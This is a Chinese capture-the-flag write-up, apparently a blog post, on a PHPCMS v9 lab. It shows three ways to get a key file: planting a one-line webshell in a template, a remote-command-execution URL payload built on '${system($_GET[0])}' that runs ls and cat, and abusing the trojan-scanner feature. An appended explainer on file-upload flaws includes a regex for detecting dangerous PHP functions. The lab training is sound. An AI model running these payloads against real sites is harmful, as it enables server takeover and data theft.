墨者学院—CMS系统漏洞分析溯源(第2题)—3种解法详细介绍

本文详细介绍了三种方法利用CMS系统漏洞获取后台文件信息:一是通过一句话木马连接,二是利用远程执行命令,三是平台漏洞直接查看。涉及的关键步骤包括探测网址、发现CMS版本、构造查询命令、文件修改与查杀等。对于不同版本的工具连接问题,建议尝试更换版本。同时,文中感谢@臭nana的帮助。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

解法一

解题方法:
使用一句话木马进行连接
操作步骤:
1.对网址进行探测
在这里插入图片描述

2.发现后台版本文件robots.txt
在这里插入图片描述

发现CMS为 PHPCMS v9
后台登录页面为 admin.php
3.浏览
在这里插入图片描述

自动填入密码
浏览源码可以发现密码为:I@vH@U$9n8*
也可以将源码中密码的字段名由password改为text
在这里插入图片描述

4.查看是否与墨者学院-CMS系统漏洞分析溯源(第7题)存在相同的文件上传漏洞

原文回顾:https://blog.youkuaiyun.com/ploto_cs/article/details/108879574

在这里插入图片描述
在这里插入图片描述

文件注入点位于上传处
在这里插入图片描述

jpg格式能够正常上传
在这里插入图片描述

Php始终被拦截,多次试验发现除图片格式的其他格式均被拦截,放弃该处
5.发现在界面—模板风格—详细列表—search—index.html发现文件可以修改可以添加一句话木马
在这里插入图片描述

添加一句话后 保存文件
6.这时木马就已经成功写入在index.html中
注:
此时的链接地址为((不要写错了):

http://219.153.49.228:44865/index.php?m=search

在这里插入图片描述

成功填写信息后即可获取后台文件
在这里插入图片描述

注:一些版本的菜刀还有蚁剑都不能成功连接,可以尝试更换版本再进行连接
感谢@臭nana大佬的援助

原文链接:
https://blog.youkuaiyun.com/weixin_43784056/article/details/85062972?biz_id=102&utm_term=CMS%E7%B3%BB%E7%BB%9F%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%BA%AF%E6%BA%90%E7%AC%AC2%E9%A2%98&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-7-85062972&spm=1018.2118.3001.4187

解法二

解题方法:
利用远程执行命令漏洞
操作步骤:
前面与解法一相同,都得成功登录后台
1.在URL中构造 查询命令
命令:

http://219.153.49.228:48673/index.php?0=ls&m=content&c=content&a=public_categorys&type=add&menuid=822;${system($_GET[0])}&pc_hash=vad6K3&from=block

在这里插入图片描述
可以看到包含key的文件出现,在使用命令打开文件
2.在URL中构造 查看key文件的命令
命令:

http://219.153.49.228:48673/index.php?0=cat key_418204667443.php&m=content&c=content&a=public_categorys&type=add&menuid=822;${system($_GET[0])}&pc_hash=vad6K3&from=block

注:第二条命令中除了修改自己的ip时,还得把注意修改key_xxx.php文件,每个人的key不同
修改成功后,进入网址,再查看源代码,就可以看到密钥值了
在这里插入图片描述

解法三

实验方法:
我觉得算是平台漏洞,可以直接看到文件信息
操作步骤:
前面步骤与解法一相同,成功登录后台后
1.在扩展—木马查杀中
可以通过直接修改特征代码,查询key值
在这里插入图片描述
在这里插入图片描述

2.勾选key文件后提交扫描就可以在查杀报告中查看文件详细内容
在这里插入图片描述
在这里插入图片描述

网络信息安全—ploto
再次鸣谢@臭nana大佬的援助

### 学院 WebShell 文件上传漏洞分析溯源方法 #### 背景概述 WebShell 是一种嵌入到目标服务器中的脚本程序,攻击者可以通过它远程控制受害者的服务器。文件上传漏洞通常允许攻击者通过伪造请求或其他手段绕过安全机制,在服务器上放置恶意脚本。 在学院的相关目中提到的内容涉及多个方面,包括 MIME 类型篡改、禁用 JavaScript 绕过前端验证以及利用后缀名规避检测等技术[^1]。 --- #### 漏洞成因分析 文件上传漏洞的主要原因在于服务端对上传文件的安全校验不足。具体表现为以下几个方面: 1. **MIME 类型校验不严格** 攻击者可以使用工具(如 Burp Suite)抓取 HTTP 请求并修改其 MIME 类型字段,从而绕过基于内容类型的限制。例如,将 `.txt` 文件伪装为 `image/jpeg` 格式的图片文件。 2. **依赖客户端验证** 如果仅依靠浏览器端的 JavaScript 验证来阻止非法文件类型,则容易被禁用或绕过。一旦禁用了 JavaScript 功能,就可以轻松提交不符合预期规则的文件[^2]。 3. **扩展名校验缺陷** 当某些应用只检查文件名而未深入解析实际内容时,可能会接受带有特殊后缀名(比如 `.php5`, `.pht` 等变种 PHP 扩展)的文件作为合法输入[^3]。这使得即使表面上看似正常的文件也可能隐藏潜在威胁。 --- #### 解决方案建议 为了有效防范此类问的发生,可以从以下几方面着手改进防护措施: - 加强服务端逻辑设计, 不应单纯信任来自用户的任何数据; - 对于上传过程实施多重过滤策略, 如限定白名单内的 mime-type 和尺寸范围之外还需确认最终存储形式确实无害; - 定期审查现有代码库寻找可能存在的安全隐患点,并及时修补已知漏洞; 以下是实现上述部分功能的一个 Python 示例演示如何初步判断一个给定字符串是否可能是危险命令执行语句的一部分: ```python import re def is_potentially_dangerous(input_string): pattern = r&#39;(?:exec|passthru|shell_exec|system|proc_open|popen)&#39; match_result = re.search(pattern, input_string.lower()) return bool(match_result) test_strings = ["<?php echo &#39;hello&#39;; ?>", "<?php system(&#39;ls&#39;); ?>"] for s in test_strings: print(f"&#39;{s}&#39; -> {is_potentially_dangerous(s)}") ``` 此函数会返回 True 或 False 表明传入参数是否存在可疑的关键字组合。 --- #### 总结 通过对学院案例的学习可以看出,针对 web shell 的防御工作需要综合考虑多层面的因素,从前端界面交互直至后台数据库操作均需保持高度警惕以防万一环节疏漏造成严重后果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值